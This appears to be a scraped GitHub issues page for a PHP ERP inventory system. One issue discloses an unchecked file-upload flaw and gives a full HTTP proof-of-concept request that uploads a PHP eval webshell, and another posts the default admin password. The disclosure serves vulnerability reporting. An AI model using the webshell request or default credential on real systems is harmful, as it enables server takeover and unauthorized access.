jerryhanjj / erp Goto Github PK
View Code? Open in Web Editor NEWERP 进存销系统
erp's Issues
你好，架设完成但是右上角手机端打不开
如题：你好，架设完成但是右上角手机端打开还是电脑端的，麻烦告知下，谢谢
File upload vulnerability getshell
一. ERP has file upload vulnerability getshell
Build environment: Apache: 2.4.39; MySQL：5.7.26
ERP is available in application/controllers/basedata/inventory In php, the uploadImages function controls the file upload. It does not check the uploaded files. The uploaded files are saved in the path/data/upload/tools/. Use the webshell tool to connect the uploaded PHP file, and then you can getshell
二：Vulnerability recurrence:
- Log in to the background and click Commodity Management
- Click the image logo to add an image
- Upload PHP Trojan Files
- Code audit to find the path to upload files
- Access the uploaded PHP script file and use the webshell management tool to connect
三：Exploit POC
POST /index.php/basedata/inventory/uploadImages HTTP/1.1
Host: erpvul.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------603434773180687952821431423
Content-Length: 259
Origin: http://erpvul.test
Connection: close
Referer: http://erpvul.test/index.php/settings/fileUpload?_=1667908773850
Cookie: PHPSESSID=3l3leefu97g2h54kie8t9jggu4
-----------------------------603434773180687952821431423
Content-Disposition: form-data; name="files[]"; filename="ace.php"
Content-Type: application/octet-stream
<?php eval(@$_POST['ace']);?>
-----------------------------603434773180687952821431423--注释问题
没有注释吗，我看得好辛苦，很多辅助函数的用法以及方法参数、返回值能不能加上具体的说明！想快点明白你写的意图
最新版admin的密码是admin123456
开发人员没有在说明中写admin的密码，这里标注一下。
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.